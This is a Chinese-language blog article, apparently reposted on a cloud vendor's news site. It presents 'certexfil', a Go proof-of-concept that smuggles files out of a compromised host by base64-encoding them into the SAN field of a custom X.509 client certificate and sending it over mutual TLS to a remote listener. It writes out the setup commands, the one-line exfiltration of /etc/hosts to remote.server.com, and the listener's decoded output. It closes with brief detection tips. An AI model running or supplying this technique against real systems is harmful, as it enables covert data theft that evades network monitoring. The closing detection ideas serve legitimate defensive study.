您好,登錄后才能下訂單哦!
這篇文章主要介紹如何利用x509數字證書實現數據滲透,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
數據泄露可能是內部人員和黑客的主要目標。因此,你就需要思考如何發送這些數據。
我發現大多數公司對這方面的問題幾乎沒有什么防護措施(例如,中間人代理和TLS攔截),檢測通常也少的可憐......但有時,這可能是一個挑戰。
對于工作和業余愛好,我圍繞數據混淆和隱蔽通道編寫了大量的工具,并總是在為構建更好的安全檢測和改善響應時間做努力。
本文我們將討論如何將數據嵌入到自定義SSL證書中,并通過mTLS針對一個遠程偵聽服務來使用它。
這是作為POC而寫的,也是我在Go中的編寫第一個程序。
TLS(安全傳輸層協議)是一種加密協議,用于在客戶端和服務器之間提供通信安全性。為此,證書頒發機構(“CA”)會為服務器頒發一個簽名證書,以向客戶端證明其身份。該客戶端可以檢查證書,并查看簽名的CA是否真正受信任。
雖然TLS主要是對服務器進行身份驗證,但Mutual TLS添加了客戶端的身份驗證,該身份驗證將由受信任的CA提供簽名證書。
X509證書可以使用主題別名或SAN進行擴展。
這意味著我們可以在證書創建期間添加字面量(literal)值,這些值可以是從電子郵件,IP到DNS名稱的任何內容。
同樣,可以在此SAN中添加任何內容,這里并沒有真正的驗證,只需使用DNS: (.*)的格式即可。
那么,我們是否可以在這個位置隱藏一段我們的payload代碼呢?即 DNS: base64(content)。
它有三種模式:
使用 — ca創建客戶端和偵聽端都使用的CA架構;
使用 — listen,啟動一個mTLS偵聽器(你需要來自 — ca的CA文件)
使用 — payload和 — host,將payload(文件,stdout)注入自定義客戶端證書,然后立即用它連接到偵聽服務。
代碼可以在這里找到:https://github.com/sourcefrenchy/certexfil
我使用了一個簡單的編碼模塊對payload進行了base64編碼,但在這個階段似乎沒有什么用。顯然,我需要在某一點上做些加密,或者我應該將它重命名為encodepayload :)。為此,我在go中創建了一個用于加密payload的模塊cryptopayload。
代碼可以在這里找到:https://github.com/sourcefrenchy/cryptopayload
創建CA/服務器證書
這將創建包含用于mTLS的server_cert.pem和server_key.pem證書的./CERTS目錄(客戶端和偵聽模式將使用這些目錄:
somewhere$ certexfil -ca -ecdsa-curve P521 -host remote.server.com
現在,請確保你的遠程服務器上有certexfil二進制文件和創建的./CERTS目錄。然后,啟動偵聽(默認為:所有接口,tcp/8443)
remoteserver$ ./certexfil -listen
客戶端/受妥協主機發送 payload
在本例中,我們嘗試通過生成自定義證書并建立與遠程偵聽器的mTLS連接,來對我們的“/etc/hosts”文件進行數據泄露,所有這些操作只需下面這一行命令:
06:52:14 jma@wintermute Go-Workspace → certexfil --host remote.server.com --payload /etc/hosts 2019/05/31 18:52:23 [*] Reading from file.. 2019/05/31 18:52:24 [D] Payload (raw) --> 127.0.0.1 ...(225 bytes) 2019/05/31 18:52:24 [D] Payload (Prepare()) --> ?... (173 bytes) 2019/05/31 18:52:24 [*] Generated custom cert with payload Oo
我們可以在本地檢查創建的新證書(client_cert.pem)和SAN區域中添加的payload(base64)。讓我們使用openssl再檢查一遍:
$ openssl x509 -in ./CERTS/client_cert.pem -text -noout grep -A 5 "Subject Alternative Name" X509v3 Subject Alternative Name: DNS:x.io.net, DNS: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA= Signature Algorithm: ecdsa-with-SHA512 30:81:88:02:42:01:aa:73:a9:af:03:4f:21:16:dd:62:4a:af: 59:6b:89:f5:a6:6d:e6:f1:21:40:ff:c8:32:f7:99:4f:d9:c8: 7f:b3:ac:43:1f:71:09:86:f4:be:7b:af:93:31:e2:fb:ec:e8:
檢索偵聽端上的 payload
驗證客戶端連接提供的證書后,我們可以檢索payload,從base64解碼并顯示它:
○ → ./certexfil --listen 2019/05/31 22:51:01 [*] Starting listener.. 2019/05/31 22:52:24 [*] Payload received: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA= 2019/05/31 22:52:24 [*] Payload decoded: 127.0.0.1 localhost 127.0.1.1 wintermute # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
tls:的握手消息長度為1399109字節,已超過了最大值65536字節。
OpenSSL不允許大小超過65536字節的證書
TODO:將大型payload拆分為多個證書和/或重新編譯OpenSSL
假設你已截獲并分析SSL流量的一些想法:)
檢測新創建的TLS證書
檢測大型TLS證書或檢查SAN以獲取有效的DNS條目(例如,你可以使用某些BroIDS腳本)
正確配置Man-in-the-Middle代理/防火墻攔截TLS流量
以上是“如何利用x509數字證書實現數據滲透”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。